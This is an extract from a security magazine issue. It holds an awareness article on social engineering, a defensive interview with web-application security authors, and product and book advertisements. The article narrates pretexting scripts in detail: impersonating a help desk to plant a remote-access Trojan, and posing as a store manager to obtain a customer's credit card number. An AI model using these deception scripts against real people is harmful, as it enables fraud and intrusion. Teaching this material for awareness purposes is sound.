- NO! Damn, I'll get way behind if I'm down that long. What's the best you can do for me?

- How pressed are you?

- I could do some other things for right now. Any chance you could take care of it in half an hour?



MOBILE SECURITY

- HALF AN HOUR! You don't want much. Well, look, I'll drop what I'm doing and see if I can tackle it for you.

- Hey, I really appreciate that, Eddie.

The Fourth Call: Gotcha!

Forty-five minutes later...

- Tom? It's Eddie. Go ahead and try your network connection.

After a couple of moments:

- Oh, good, it's working. That's just great.

- Good, glad I could take care of it for you.
- Yeah, thanks a lot.

Listen, if you want to make sure your connection doesn't go down again, there's some software you ought to be running. Just take a couple of minutes."

- Now's not the best time.

 I understand... It could save us both big headaches the next time this network problem happens.

- Well . . . if it's only a few minutes.

- Here's what you do ...

Eddie then took Tom through the steps of downloading a small application from a Web site. After the program had downloaded, Eddie told Tom to double-click on it. He tried, but reported:

- It's not working. It's not doing anything.

- Oh, what a pain. Something must be wrong with the program. Let's just get rid of it, we can try again another time. And he talked Tom through the steps of deleting the program so it couldn't be recovered.

The Attacker's Story

Bobby Wallace always thought it was laughable when he picked up a good assignment like this one and his client pussyfooted around the unasked but obvious question of why they wanted the information. In this case he could only think of two reasons. Maybe they represented some outfit that was interested in buying the target company, Starboard Shipbuilding, and wanted to know what kind of financial shape they were really in – especially all the stuff the target might want to keep hidden from a potential buyer. Or maybe they represented investors who thought there was something fishy about the way the money was being handled and wanted to find out whether some of the executives had a case of hands-in-the cookie-jar. And maybe his client also didn't want to tell him the real reason because, if Bobby knew how valuable the information was, he'd probably want more money for doing the job. There are a lot of ways to crack into a company's most secret files. Bobby spent a few days mulling over the choices and doing a little checking around before he decided on a plan. He settled on one that called for an approach he especially liked, where the target is set up so that he asks the attacker for help. For starters, Bobby picked up a \$39.95 cell phone at a convenience store. He placed a call to the man he had chosen as his target, passed himself off as being from the company help desk, and set things up so the man would call Bobby's cell phone any time he found a problem with his network connection. He left a pause of two days so as not to be too obvious. and then made a call to the network operations center (NOC) at the company. He claimed he was troubleshooting a problem for Tom, the target, and asked to have Tom's network connection disabled. Bobby knew this was the trickiest part of the whole escapade - in many companies, the help desk people work closely with the NOC; in fact, he knew the help desk is often part of the IT organization. But the indifferent NOC guy he spoke with treated the call as routine, didn't ask for the name of the help desk person who was supposedly working on the networking problem, and agreed to disable the target's network port. When done, Tom would be totally isolated from the company's intranet, unable to retrieve files from the server, exchange files with his co-workers, download his email, or even send a page of data to the printer. In today's world, that's like living in a cave. As Bobby expected, it wasn't long before his cell phone rang. Of course he made himself sound eager to help this poor "fellow employee" in distress. Then he called the NOC and had the man's network connection turned back on. Finally, he called the man and manipulated him once again; this time making him feel guilty for saying no after Bobby had done him a favor. Tom agreed to the request that he download a piece of software to his computer. Of course, what he agreed to be exactly what it seemed. The software that Tom was told would keep his network connection from going down, was really a Trojan Horse, a software application that did or Tom's computer what the original deception did for the Trojans: It brought the enemy inside the camp. Tom reported that nothing happened when he double-clicked on the software icon; the fact was that, by design, he couldn't see anything happening, even though the small application was installing a secret program

that would allow the infiltrator covert access to Tom's computer. With the software running, Bobby was provided with complete control over Tom's computer, an arrangement known as a remote command shell. When Bobby accessed Tom's computer, he could look for the accounting files that might be of interest and copy them. Then, at his leisure, he'd examine them for the information that would give his clients what they were looking for.

The Attack

The attacker spins a web to convince the target he has a problem that, in fact, doesn't really exist - or, as in this case, a problem that hasn't happened yet, but that the attacker knows will happen because he's going to cause it. He then presents himself as the person who can provide the solution. The setup in this kind of attack is particularly juicy for the attacker: Because of the seed planted in advance, when the target discovers he has a problem, he himself makes the phone call to plead for help. The attacker just sits and waits for the phone to ring, a tactic fondly known in the trade as reverse social engineering. An attacker who can make the target call him gains instant credibility: If I place a call to someone I think is on the help desk, I'm not going to start asking him to prove his identity. That's when the attacker has it made.

Tom delay and the It guy both should have cross checked with the concerned departments to make sure there really there was a genuine person involved, but instead chose not to. And each of them crossed way beyond the line and once again, unfortunately, but devastatingly enough, unknowingly.

Entire magazines could be written about the incidents of some very skilled social engineers, some very secure infrastructures (pun intended), and some people working towards the ideal anti-social beings.

Before I conclude, here's a last story that finally might prove to be an eye opener, if the stories above have still not swept you off your feet.

I once sat at a table in a restaurant with Henry and his father. In the course of conversation, Henry scolded his father for giving out his credit card number as if it were his phone number.

- Sure, you have to give your card number when you buy something, he said. – But giving it to a store that files your number in their records – that's real dumb.

- The only place I do that is at Studio Video, Mr. Conklin said, naming the same chain of video stores.

- But I go over my Visa bill every month. If they started running up charges, I'd know it. Sure, said Henry,

- But once they have your number, it's so easy for somebody to steal it.

- You mean a crooked employee.

- No, anybody – not just an employee.

- You're talking through your hat, – Mr. Conklin said.

- I can call up right now and get them to tell me your Visa number, – Henry shot back.

- No, you can't, - his father said.

- I can do it in five minutes, right here in front of you without ever leaving the table.

Mr. Conklin looked tight around the eyes, the look of somebody feeling sure of himself, but not wanting to show it. – I say you don't know that you're talking about,- he barked, taking out his wallet and slapping fifty dollar bill down on the table. -If you can do what you say, that's yours.

-I don't want your money, Dad, - Henry said.

He pulled out his cell phone, asked his father which branch he used, and called Directory Assistance for the phone number, as well as the number of the store in nearby Sherman Oaks. He then called the Sherman Oaks store. He then called up the number and said he had had a very good experience dealing with the store and he wanted to send the manager a letter about it. The receptionist was already too delighted to think of anything else and gave away the requested details in a go. She told the manager's name was Tommy Allison and gave his mailing address as well. Before hanging up Henry thought of something else and said that he would also like to write to the company headquarters and asked for the store number. And of course he was not disappointed this time either.

Then he called the store where his father had an account. He pulled the old impersonate-the-manager trick, using the manager's name as his own and giving the store number he had just obtained. Then he used the same ruse:

Are your computers working okay? Ours have been up and down. – He listened to her reply and then said, -Well, look, I've got one of your customers here who wants to rent a video, but our computers are down right now. I need you to look up the customer account and make sure he's a customer at your branch. – Henry gave him his father's name. Then, using only a slight variation in technique, he made the request to read off the account information: address, phone

MOBILE SECURITY

number, and date the account was opened. And then he said, – Hey, listen, I'm holding up a long line of customers here. What's the credit card number and expiration date? – Henry held the cell phone to his ear with one hand while he wrote on a paper napkin with the other. As he finished the call, he slid the napkin in front of his father, who stared at it with his mouth hanging open. The poor guy looked totally shocked, as if his whole system of trust had just gone down the drain.

Mr. Conklin, I guess did not even know that a line existed at all, and one which should be taken utmost care of. Yes, he was a smart individual to keep a constant check on the use of his card, but was he smart enough to understand the importance of the line? Well, the stories and more appropriately the conclusions so far unanimously suggest that he was not as smart as he thought he was. And yet again it was only plainly human for him to trust his regular store and he was ok in doing so. But yes he should not have been so obviously naturally trusting.

The stories presented above may not make you feel too good about your past experiences or in some cases may make you lose complete self-esteem, that is to say if you really realized what a social engineering experience may feel like.

Lastly there's this last piece of advice that I just can't skip over with when I am talking of some serious social engineering and some pro social engineers. They will go way beyond our expectations in not just deceiving but also getting their hands dirty in a trash can! There's no deep meaning of what I just said. I mean it perfectly literally. It is something that we technically call dumpster diving. We have seen a number of instances that though not mathematically, but still strongly prove that we are prone to making errors while are differentiating between data and information. We are careless enough to throw away our papers, bills, bank statements and many such documents that we think are useless crap, just raw data. Now try to recollect how scraps can be converted into very valuable information and that we never will run out of people who always find thrill in solving puzzles.

The problem increases with the generation that's too fond of the social networking culture, but not so aware of the social engineering concept, the dilemma of crossing the line and what the repercussions can be when is raw data magically (pun intended) converted to crucial information.

As a whole we need to be trained and aware of when we are crossing the line from being an ideal social human being to a natural, anti-social human being, with extremely vulnerable, kind and helping nature. Employees without training and having extremely secure infrastructure is just like having to protect your hugest treasures with a fully loaded, fully automatic machine gun, but not knowing how to fire it, or even worse, not knowing of the safety switch on it and ignorantly playing with that gun.

Finally, I personally call the three rules as more than just the golden rules of human existence, oh, sorry, of secure human existence in a global world of information technology and of course of skilled manipulators, better known as THE SOCIAL ENGINEERS.

- · Train, train and train without fail.
- Understand the difference between data and information and more importantly the line that separates them.
- Don't just be too stupidly human.

ABHINAV CHOURASIA

My name is Abhinav Chourasia and I am a final year Software Engineering student at Vellore Institute of Technology (VIT University) in India. I have always been fascinated by computers, but honestly they were not my first career choice. I always wanted to join the Indian defense – the Air force as a fighter pilot, but things didn't really turn out well and so I am in the field of my fascination – computers, security.Yes, I guess most of the people from the industry have, some time or the other, thought of being a hacker and so have I. In the way, I realized that it was not really important for me to be a hacker. What was more important was to realize that the path of learning itself is more fun than the ultimate destination to be a hacker.

EDETECTIVE

Email

Chat

Web

FTP

P2P

VOIP

WebCam

HTTPS/SSI

TELNE



EVALUATE: Constraints of the security of the

E-DETECTIVE

DECISION GROUP INC.



Address : 4/F No.31, Alley 4, Lane 36, Sec. 5, Ming-Shan East Rd, Taipei, Taiwan Phone :+886 227665753 Fax :+886 227665702 Email :decision@decision.com.tw

Website : www.edecision4u.com

Interview with

Bryan Sullivan and Vincent Liu

authors of Web Application Security: A Beginner's Guide (McGraw-Hill; 2012)

Bryan Sullivan, Senior Security Researcher at Adobe Systems, was previously Security Program Manager at Microsoft and a development manager at HP, where he helped to design HP's vulnerability scanning tools WebInspect and DevInspect. Bryan speaks at industry conferences such as Black Hat, RSA, BlueHat and TechEd. **Vincent Liu**, CISSP, is a managing partner at Stach & Liu. He previously led the Attack & Penetration and Reverse Engineering teams for Honeywell's Global Security group and was an analyst at the National Security Agency. Vincent speaks at industry conferences, including Black Hat, ToorCon, and Microsoft's BlueHat. He is a co-author of Hacking Exposed Web Applications, Third Edition and Hacking Exposed Wireless, Second Edition.

Please tell us why you are in the field of Information Security and not something else.

Bryan: It may sound strange, but one of the reasons I enjoy security so much is because it's so challenging. Attackers definitely have a lot of advantages over defenders: the "bad guy" only has to find one vulnerability to win, where the "good guys" have to prevent every vulnerability. The good guys have to work to develop their products as quickly as possible, but the bad guys have an unlimited amount of time to develop attacks. So again, security is a very challenging field, but very fulfilling to get it right.

Vincent: My McDonalds application was rejected.

There are several books out there on Web Application Security, what is unique about this book?

Bryan: So many of the other books out there are focused on attack techniques, on showing their readers how to pull off exploits. We really wanted to focus our book on defenses, which is a lot more relevant of a topic if you're a professional in the IT industry and not a "black hat" hacker. And even more than just showing how to defend yourself against specific attacks like cross-site scripting and SQL injection (although we do cover these

and many more), we focus on the guiding principles of application defense and show design techniques that can help protect you from not just the known attacks of today but also the unknown attacks of tomorrow.

Vincent: This book is different because it was written specifically for readers who are just getting into security. Most web application security books are targeted at readers who are already professionals; they have much higher knowledge prerequisites. Absent that knowledge, readers were confused and the text remained inaccessible. This book provides that knowledge by focusing on the fundamentals that every aspiring security practitioner should know.

Web applications have a heavy development side, can software engineers and architects benefit from this book?

Bryan: Absolutely, in fact I would say they're part of the primary target audience. Most vulnerabilities in web applications come out of flaws in the applications' code or design. As nice as it would be, there really is no "silver bullet" product you can buy that fixes the vulnerabilities in your applications after they've been written and deployed. If the root of the problem is code, then code (and coders!) is where you have to spend your attention.

Vincent: I hope so. That's who we wrote it for! There's a wealth of information that builds very naturally upon concepts and ideas that many software engineers and architects deal with on a day to day basis.

Web Input such as Forms, File uploads etc have been vulnerable for a very long time, then why haven't we seen libraries and modules that make these web elements bullet-proof?

Bryan: Actually there are some really effective defense libraries out there - the OWASP ESAPI library comes to mind - but just having a defense module is not the same thing as using it correctly. There are nuances in the use of these libraries that make a lot of difference in how secure the application will be. For example, developers are told to encode page output in order to defend against cross-site scripting. This is absolutely correct, but there are many ways to encode output (HTML encoding, URL encoding, HTML attribute encoding, XML encoding, etc), and only one of them will be correct in any given situation. You see this kind of thing a lot in cryptography too, where even a subtle mistake in the initialization of an algorithm can make the entire application vulnerable to attack. In the end, it boils down to having security controls in place throughout every phase of application development, and not just relying on a single library or tool to provide your security for you.

Vincent: Microsoft provides a rich library of I bet Bryan has a much better answer than whatever I will provide.

You have a chapter on Authentication and Federated Identity management is really hot these days. Based on your experience, can highlight security challenges related to web user authentication?

Vincent: Bad passwords are a far greater risk than any fundamental flaws in authentication systems. Most organizations have poor password policies or policies that aren't enforced. It will continue to be exploited by attackers so long as they continue to leave that door open.

Are browsers doing enough to protect user privacy?

Bryan: 2011 was a great year for browsers and privacy online. Internet Explorer 9 introduced Tracking Protection, which gives people a clear mechanism to both signal their desire not to be tracked to web publishers, but more importantly actually provide the in-browser capability to stop the tracking from taking place. And Adobe added a number of privacy-enhancing features to Flash Player 10.1, including support for browsers' "private browsing" modes and the ability to clear Flash Local Shared Objects (LSOs, also known as "Flash cookies") directly from browsers' control panels. So we as an industry are definitely on the right track here. **Vincent:** Browsers are trying, and they should definitely continue their efforts. But I think users are ultimately responsible for protecting their own privacy by following safe browsing habits. Just like car manufacturers can build safer vehicles, browsers can build stronger security features. However if people continue to drive (and browse the web) recklessly then who's to blame?

How do you keep yourself updated about latest news in Web Application Security?

Bryan: I actually spend more time reading developerfocused blogs than I do reading security-focused blogs. Remember Willie Sutton's famous quote: when a reporter asked him why he robbed banks, he answered *Because that's where the money is*. I follow developer news because that's where the interesting security issues are! This is especially true for any new emerging technology like HTML5 or NoSQL. Early adopters face enough struggles just getting things to work correctly that they don't always consider the security implications of what they're doing. So I like to hang out in these kinds of forums and help frustrated developers get their code working securely, not just get it working.

Security threats are escalated when a web application includes a payment mechanism. What are your thoughts about that and how can they be mitigated.

Bryan: Payment mechanisms definitely increase an application's attractiveness to potential attackers. But even if your application doesn't accept payments, you still need to follow secure development procedures. You should always strive to minimize your attack surface. You should always validate user input. You should always scan your application with static- and dynamic-analysis tools. Too often, developers think that they can fly beneath attackers' radar because their application or their organization is too small to be noticed. This is definitely not the case! Just because you don't accept payments on your site, don't overlook secure development practices.

Cloud can be a suitable platform for several organizations who prefer to transfer security risks to 3rd party. When choosing a web application in the Software-as-a-service model, what do customers have to be cautious about?

Bryan: Ask the provider how they've built security into their application. Do they have a security program that they follow from inception of the product all the way through release? Or do they just hire some penetration testers to come in at the very end and bang on it? (Or even worse, do they do nothing at all?) If you go with a SaaS provider who's considered security throughout the development lifecycle, odds are you'll be better protected not just against the known threats of today, but also from whatever new techniques attackers dream up tomorrow.

Special Promotion on Selected Security Titles from Feisty Duck!



45% off code HAKIN9MS



60% off code HAKIN9AS



"A book that will provide answers to security issues you may not have realized exist."

Mike Weber, Beginlinux.com

"All you need to harden your web presence with ModSecurity is at your fingertips."

Russ McRee, holisticinfosec.org



"The single best Apache security book in print."

Richard Bejtlich, author of The Tao of Network Security Monitoring and Extrusion Detection

"Everyone running Apache needs this book."

Rich Bowen, author of *Apache Administrator's Handbook* and coauthor of *Apache Cookbook*

www.feistyduck.com

Our books are available in paperback and a variety of digital formats: **PDF**, **Mobi**, **EPUB**, **and online**. **No DRM**. The above discount codes will provide you with additional 20% off our current prices. The total discount will be approximately 45% for purchases of *ModSecurity Handbook* and 60% for purchases of *Apache Security*.





From the researcher who was one of the first to identify and analyze the infamous industrial control system malware "Stuxnet," comes a book that takes a new, radical approach to making Industrial control systems safe from such cyber attacks: design the controls systems themselves to be "robust."

Ralph Langner started a software and consulting company in the industrial IT sector. Over the last decade, this same company, Langner Communications, became a leading European consultancy for control system security in the private sector. The author received worldwide recognition as the first researcher to technically, tactically, and strategically analyze the Stuxnet malware.

> www.momentumpress.net 222 E. 46th Street, #203 New York, NY 10017